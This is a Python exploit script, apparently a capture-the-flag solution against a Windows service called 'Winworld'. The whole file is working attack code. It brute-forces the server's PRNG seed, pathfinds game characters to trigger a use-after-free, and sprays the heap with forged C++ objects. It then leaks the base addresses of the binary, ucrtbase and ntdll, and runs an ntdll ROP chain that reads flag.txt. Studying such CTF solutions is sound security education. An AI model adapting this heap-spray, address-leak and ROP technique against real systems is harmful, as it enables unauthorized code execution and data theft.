#!/usr/bin/env python2
# encoding: utf-8

import sys
import time
import ctypes
import socket
import struct
import hexdump
import telnetlib
from ctypes.util import find_library
from time import sleep

# for pathfinding
import numpy
from heapq import *

PORT                                    = 1337
LFH_spray_count                         = 0x400
MAX_ROWS                                = 60
MAX_COLS                                = 150

# leak constants
vtable_vector_offset                    = 0x17158
iat_strtol_offset                       = 0x162e8
iat_LdrpValidateUserCallTarget_offset   = 0x164c8
strtol_offset                           = 0x13860
LdrpValidateUserCallTargetOffset        = 0x93040
stack_main_offset                       = -0x290

# functions offsets
GETS_OFFSET                             = 0x72ce0
OPEN_OFFSET                             = 0xa3030
READ_OFFSET                             = 0x16a70
PUTS_OFFSET                             = 0x80e10

def get_s(host):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, PORT))
    return s

def rop(gadgets):
    return ''.join(struct.pack("<Q", gadget) if type(gadget) != str else gadget for gadget in gadgets)

def heuristic(a, b):
    return (b[0] - a[0]) ** 2 + (b[1] - a[1]) ** 2

def astar(array, start, goal):
    neighbors = [(0,1),(0,-1),(1,0),(-1,0)]

    close_set = set()
    came_from = {}
    gscore = {start:0}
    fscore = {start:heuristic(start, goal)}
    oheap = []

    heappush(oheap, (fscore[start], start))

    while oheap:

        current = heappop(oheap)[1]

        if current == goal:
            data = []
            while current in came_from:
                data.append(current)
                current = came_from[current]
            return data

        close_set.add(current)
        for i, j in neighbors:
            neighbor = current[0] + i, current[1] + j
            tentative_g_score = gscore[current] + heuristic(current, neighbor)
            if 0 <= neighbor[0] < array.shape[0]:
                if 0 <= neighbor[1] < array.shape[1]:
                    if array[neighbor[0]][neighbor[1]] == 1:
                        continue
                else:
                    # array bound y walls
                    continue
            else:
                # array bound x walls
                continue

            if neighbor in close_set and tentative_g_score >= gscore.get(neighbor, 0):
                continue

            if  tentative_g_score < gscore.get(neighbor, 0) or neighbor not in [i[1]for i in oheap]:
                came_from[neighbor] = current
                gscore[neighbor] = tentative_g_score
                fscore[neighbor] = tentative_g_score + heuristic(neighbor, goal)
                heappush(oheap, (fscore[neighbor], neighbor))

    return False

def get_directions(array, start, end):
    directions = astar(array, start, end)[::-1]
    res = ""
    cur_x, cur_y = start
    for (x, y) in directions:
        if x > cur_x:
            res += "d"
        elif x < cur_x:
            res += "u"
        elif y > cur_y:
            res += "r"
        else:
            res += "l"
        cur_x, cur_y = x, y

    return res, directions

def send(s, text):
    s.sendall(text)

def read(s, length):
    return s.recv(length)

def readlen(s, length):
    return ''.join(read(s, 1) for _ in range(length))

def sendline(s, text):
    send(s, text + "\n")

def readuntil(s, stop):
    res = ''

    while not res.endswith(stop):
        c = read(s, 1)

        if c == '':
            break
        res += c
    return res

def interact(s):
    tn = telnetlib.Telnet()
    tn.sock = s
    tn.interact()
    s.close()
    sys.exit(0)

def readall(s):
    out = ''
    while True:
        c = read(s, 1)

        if c == '':
            break
        out += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return out

def enable_LFH(s, obj_size=0x90):
    print('[+] Make sure that LFH is enabled for bucket of sizeof(Person)')
    for i in range(6):
        sendline(s, "new guest male plz_enable_lfh_" + str(i))

def spray_data(s, obj_size=0x90):
    print('[+] Spray 0x%x std::string, forcing initialization of pwnrobot->is_conscious' % LFH_spray_count)
    for i in range(LFH_spray_count):
        print "\r0x%x / 0x%x ..." % (i + 1, LFH_spray_count),
        sendline(s, "C" * obj_size)
    print

class ExploitWinworld(object):
    def __init__(self):
        self.binary_base    = 0x0
        self.ucrtbase_base  = 0x0
        self.ntdll_base     = 0x0

        self.gets_addr      = 0x0
        self.libc           = None
        self.array          = []
        self.park_map       = []
        self.nmap           = None
        self.maze_x         = 0
        self.maze_y         = 0
        self.day            = 1
        
    def initialize(self):
        self.park_map       = []
        self.nmap           = None
        self.maze_x         = 0
        self.maze_y         = 0
        self.day            = 1

    def find_maze_center(self):
        for row in range(MAX_ROWS):
            self.park_map.append([0] * MAX_COLS)

        obstacles = ((MAX_ROWS * MAX_COLS) / 5) + (self.rand() % MAX_COLS)

        while obstacles:
            pos_x = self.rand() % MAX_ROWS
            pos_y = self.rand() % MAX_COLS

            if self.park_map[pos_x][pos_y]:
                continue

            self.park_map[pos_x][pos_y] = 1
            obstacles -= 1

            if obstacles == 0:
                break

            nearby_obstacles = (self.rand() % 30) % obstacles

            while (nearby_obstacles):
                direction = self.rand() % 4
                pos_a = pos_x
                pos_b = pos_y

                if direction == 0:
                    pos_a -= 1
                elif direction == 1:
                    pos_a += 1
                elif direction == 2:
                    pos_b -= 1
                else:
                    pos_b += 1

                if pos_a < 0 or pos_a >= MAX_ROWS or pos_b < 0 or pos_b >= MAX_COLS:
                    continue

                pos_x = pos_a
                pos_y = pos_b

                if self.park_map[pos_x][pos_y]:
                    continue

                self.park_map[pos_x][pos_y] = 1
                nearby_obstacles -= 1
                obstacles -= 1

        while True:
            self.maze_x = self.rand() % MAX_ROWS
            self.maze_y = self.rand() % MAX_COLS

            if self.park_map[self.maze_x][self.maze_y] == 0:
                break

    def rand(self):
        return self.libc.rand()

    def craft_person(self, func_ptr, leak_addr, size):
        payload  = struct.pack("<Q", func_ptr)        # func pointer
        payload += "\x00" * 24                        # friends std::vector
        payload += "\x00" * 24                        # sentences std::vector

        # std::string name
        payload += struct.pack("<Q", leak_addr)
        payload += "C" * 8
        payload += struct.pack("<Q", size)            # size
        payload += struct.pack("<Q", size)            # max_size

        payload += struct.pack("<I", 1)               # type = GUEST
        payload += struct.pack("<I", 1)               # sex
        payload += "\x01"                             # is_alive
        payload += "\x01"                             # is_conscious
        payload += "\x01"                             # is_enabled
        payload += "\x01"                             # padding
        payload += struct.pack("<I", 1337)            # days
        payload += struct.pack("<I", 1337)            # moves
        payload += struct.pack("<I", 1337)            # deaths
        payload += struct.pack("<I", self.maze_x)     # pos_x
        payload += struct.pack("<I", self.maze_y)     # pos_y
        payload += struct.pack("<I", 1337)            # attack
        payload += struct.pack("<I", 1337)            # health
        payload += struct.pack("<I", 1337)            # max_health
        payload += struct.pack("<I", 1337)            # luck
        payload += struct.pack("<I", 0)               # sex_affinity
        payload += struct.pack("<I", 0)               # padding

        return payload

    def leak_data(self, s):
        sendline(s, "info h7")
        readuntil(s, "Name: ")
        leak = readuntil(s, "Type: male guest")
        readuntil(s, "narrator [day 2]$")
        return leak

    def spray_person(self, s, payload):
        for i in range(LFH_spray_count):
            print "\r0x%x / 0x%x ..." % (i + 1, LFH_spray_count),
            sendline(s, payload)
        print

        return self.leak_data(s)


    def build_map(self, s):
        print('[+] Discovering the PRNG seed...')

        readuntil(s, "--[ Welcome to Winworld, park no ")
        prng_leak = int(readuntil(s, " ").split(" ")[0])

        seed = int(time.time())
        self.libc = ctypes.CDLL(find_library('c'))
        self.libc.srand(seed)

        if self.rand() % 1337 != prng_leak:
            print '  Clock not synced with server...'
            for i in range(-3000, 3000):
                bf_seed = seed + i
                self.libc.srand(bf_seed)
                if self.rand() % 1337 == prng_leak:
                    print('[+] Resynced clock, delay of %d seconds' % i)
                    break
            else:
                print('[-] Synchronisation fail...')
                sys.exit(0)

        self.find_maze_center()
        print('[+] Found the maze center: (%d, %d)' % (self.maze_x, self.maze_y))

        sendline(s, "map")

        readuntil(s, "----+\r\n")
        data = readuntil(s, "+-----").split("+----")[0]
        data = data.replace("|", "")
        data = data.replace("\r", "")
        data = data.split("\n")
        self.array = []

        for line in data:
            if len(line) < MAX_COLS:
                continue
            row = []
            for c in line:
                if c == ' ':
                    row.append(0)
                else:
                    row.append(1)
            self.array.append(row)

        self.nmap = numpy.array(self.array)
        self.end = (self.maze_x, self.maze_y)

    def create_dangling_person_ptr(self, s, add_guest):
        enable_LFH(s)
        spray_data(s)

        print('[+] Cloning host, with uninitialized memory this one should have is_conscious...')
        sendline(s, "clone h0 pwnrobot")

        guest_cnt = 0x10 - 6 + add_guest
        pwnrobot_gid = 0x10 + 3 + add_guest
        print('[+] Create some guests for later use...')
        for i in range(guest_cnt):
            sendline(s, "new guest male flood%d" % i)

        # put "the man in black" on the maze center
        sendline(s, "info g0")

        readuntil(s, "Position: (")
        data = readuntil(s, ")").split(")")[0].split(", ")
        start = (int(data[0]), int(data[1]))

        print('[+] Moving a guest to the maze center {} -> {}...'.format(start, self.end))

        self.array[start[0]][start[1]] = 0
        moves, directions_guest = get_directions(self.nmap, start, self.end)

        sendline(s, "move g0 " + moves)

        # put the pwn host on the maze center

        sendline(s, "info h7")

        readuntil(s, "Position: (")
        data = readuntil(s, ")").split(")")[0].split(", ")
        start = (int(data[0]), int(data[1]))

        print('[+] Moving our host to the maze center {} -> {}...'.format(start, self.end))

        self.array[start[0]][start[1]] = 0
        moves, directions_host = get_directions(self.nmap, start, self.end)

        sendline(s, "move h7 " + moves)

        print('[+] pwnrobot should now be a human... kill him!')

        for i in range(10):
            sendline(s, "move g0 lr")

        readuntil(s, "pwnrobot met a tragic death")

        sendline(s, 'fail')
        readuntil(s, "fail")

        print('[+] Removing all pwnrobot\'s friends --> decrement its refcount to 0 --> free()')

        for i in range(7):
            sendline(s, "friend remove g%d h%d" % (pwnrobot_gid, i))

        sendline(s, "info g3")

        sendline(s, "next_day")
        self.day += 1
        readuntil(s, "narrator [day 2]$")

    def get_empty_point(self):
        for i in xrange(1, MAX_ROWS):
            for j in xrange(1, MAX_COLS):
                if self.array[i][j] == 0:
                    return(i,j)
        assert False

    def prepare_uaf(self, s, add_guest=0x0):
        self.initialize()
        self.build_map(s)
        self.create_dangling_person_ptr(s, add_guest)

    def leak_base_addr(self, s, obj_size=0x90):
        '''for i in range(0xf0):
            print "\r0x%x / 0x%x ..." % (i + 1, 0xf0),
            sendline(s, "D" * obj_size)
        print'''

        print("[+] spray std::vectors to catch freed person, read pointer to main binary .rdata")
        #for i in range(8 * 2):
        for i in range(LFH_spray_count):
            print "\r0x%x / 0x%x ..." % (i + 1, LFH_spray_count),
            for j in range(7):
                sendline(s, "friend add g%d g%d" % (3 + i, 8 + 3 + j))
        print

        print("[+] sync...")
        sleep(8)

        print('[+] Trigger leak')
        sendline(s, "info h7")
        readuntil(s, "Name: ")

        leak = readlen(s, 8)
        binleak = struct.unpack("<Q", leak[:8])[0]
        print('[+] Binary leak: %#x' % binleak)
        binary_base = binleak - vtable_vector_offset
        print('[+] Binary base: %#x' % binary_base)
        assert(binary_base & 0xfff == 0)
        self.binary_base = binary_base

    def trigger_arbitrary_read(self, s, addr_to_read):
        payload = self.craft_person(func_ptr=self.gets_addr,
                                        leak_addr=addr_to_read,
                                        size=0x100)
        sendline(s, "move h7 rl") # trigger gets
        sendline(s, payload)

        return self.leak_data(s)

    def leak_ucrtbase(self, s):
        print('[+] Leaking ucrtbase!strtol from IAT...')
        iat_strtol = self.binary_base + iat_strtol_offset

        payload = self.craft_person(func_ptr=0x4242424242424242, leak_addr=iat_strtol, size=0x100)
        leak = self.spray_person(s, payload)
        
        strtol = struct.unpack("<Q", leak[:8])[0]
        
        ucrtbase_base = strtol - strtol_offset
        print('[+] ucrtbase!strtol: 0x%x' % strtol)
        print('[+] ucrtbase base: %#x' % ucrtbase_base)
        assert(ucrtbase_base & 0xfff == 0)
        self.ucrtbase_base = ucrtbase_base

    def leak_ntdll(self, s):
        iat_LdrpValidateUserCallTarget = self.binary_base + iat_LdrpValidateUserCallTarget_offset
        payload = self.craft_person(func_ptr=self.gets_addr, leak_addr=iat_LdrpValidateUserCallTarget, size=0x100)
        for i in xrange(0x400):
            sendline(s, payload)

        leak = self.trigger_arbitrary_read(s, addr_to_read=iat_LdrpValidateUserCallTarget)
        LdrpValidateUserCallTarget = struct.unpack("<Q", leak[:8])[0]
        ntdll_base = LdrpValidateUserCallTarget - LdrpValidateUserCallTargetOffset
        print('[+] ntdll!LdrpValidateUserCallTarget: 0x%x' % LdrpValidateUserCallTarget)
        print('[+] ntdll base: 0x%x' % ntdll_base)
        assert(ntdll_base & 0xfff == 0)
        self.ntdll_base = ntdll_base

    def leak_stack(self, s):
        leak = self.trigger_arbitrary_read(s, addr_to_read=self.binary_base + 0x1fbd0)
        heap_ptr = struct.unpack("<Q", leak[:8])[0]
        print("[+] heap_ptr == 0x%x" % heap_ptr)

        RtlCaptureContext = self.ntdll_base + 0xa65a0
        payload = self.craft_person(func_ptr=RtlCaptureContext, leak_addr=RtlCaptureContext, size=0x0)
        for i in xrange(0x400):
            sendline(s, payload)

        sendline(s, "move h7 lr")
        sendline(s, "info h7")

        leak = readuntil(s, ", luck")        
        leak = leak[leak.rfind("/"):]
        leak = leak[1:leak.index(",")]
        leak = int(leak, 10)
        pwnrobot = (heap_ptr & 0xffffffff00000000) | (leak & 0xffffffff)
        print("[+] pwnrobot == 0x%x" % pwnrobot)

        payload = self.craft_person(func_ptr=self.gets_addr,
                                        leak_addr=pwnrobot + 0xb0,
                                        size=0x100)
        for i in xrange(0x400):
            sendline(s, payload)

        leak = self.trigger_arbitrary_read(s, addr_to_read=pwnrobot + 0xb0)
        self.stack_ptr = struct.unpack("<Q", leak[:8])[0]

        print("[+] stack_ptr == 0x%x" % self.stack_ptr)

        payload = self.craft_person(func_ptr=self.gets_addr,
                                        leak_addr=self.stack_ptr - stack_main_offset,
                                        size=0x1000)
        for i in xrange(0x400):
            sendline(s, payload)


    def do_rop(self, s):
        pop_all     = self.ntdll_base + 0x92f6f     # pop rdx ; pop rcx ; pop r8 ; pop r9 ; pop r10; pop r11; ret
        pop_rcx     = self.ntdll_base + 0x968e1     # pop rcx ; ret
        pop_rbx_ret = self.ntdll_base + 0x2074      # pop rbx ; ret
        add_rsp_38h = self.ntdll_base + 0x4a83      # add rsp, 0x38 ; ret

        raw_input("start rop?")

        # ROP to: open("flag.txt", O_RDONLY);
        payload = rop([
            pop_rbx_ret, 
            self.stack_ptr - 0x2000,

            # ucrtbase!_open("flag.txt", O_RDONLY)
            pop_all,
            0x0,                 # flags
            "ABCDEFGH",          # buf
            0x0,                 # mode
            0,
            0,
            0,
            self.ucrtbase_base + OPEN_OFFSET,

            # cleanup junk from open()
            add_rsp_38h,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,

            # read(fd, buf, 0x100)
            pop_all,
            "ABCDEFGH",           # buf
            0x3,                  # fd
            0x100,                # count
            0,
            0,
            0,
            self.ucrtbase_base + READ_OFFSET,

            # cleanup junk from read()
            add_rsp_38h,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,
            self.stack_ptr - 0x1000,

            # puts(buf)
            pop_rcx,
            "ABCDEFGH",                             # buf
            self.ucrtbase_base + PUTS_OFFSET,
        ])

        payload += "C" * 60
        payload = payload.replace("ABCDEFGH", struct.pack("<Q", self.stack_ptr - stack_main_offset + len(payload)))
        payload += "flag.txt\x00"

        sendline(s, "update h7 name " + payload)

        print('[+] Trigger ROP chain...')

        sendline(s, "quit")

        print "flag: ",
        try:
            readuntil(s, "flag: ")
            print(readuntil(s, "\n"))
        except:
            pass

if __name__ == "__main__":
    host = "127.0.0.1"
    if len(sys.argv) > 1:
        host = sys.argv[1]

    exploiter = ExploitWinworld()
    print("-------------------- Phase0 - leak the main binary base addr --------------------")
    s = get_s(host)
    exploiter.prepare_uaf(s, add_guest=LFH_spray_count)
    exploiter.leak_base_addr(s)
    s.close()

    sleep(1)
    s = get_s(host)

    print("-------------------- Phase1 - leak ucrtbase.dll base addr --------------------")    
    exploiter.prepare_uaf(s)
    exploiter.leak_ucrtbase(s)
    exploiter.gets_addr = exploiter.ucrtbase_base + GETS_OFFSET
    
    print("-------------------- Phase2 - leak ntdll.dll base addr --------------------")
    exploiter.leak_ntdll(s)

    print("-------------------- Phase3 - Execute code --------------------")
    exploiter.leak_stack(s)
    exploiter.do_rop(s)

    print("")
    print('[+] Done')
    s.close()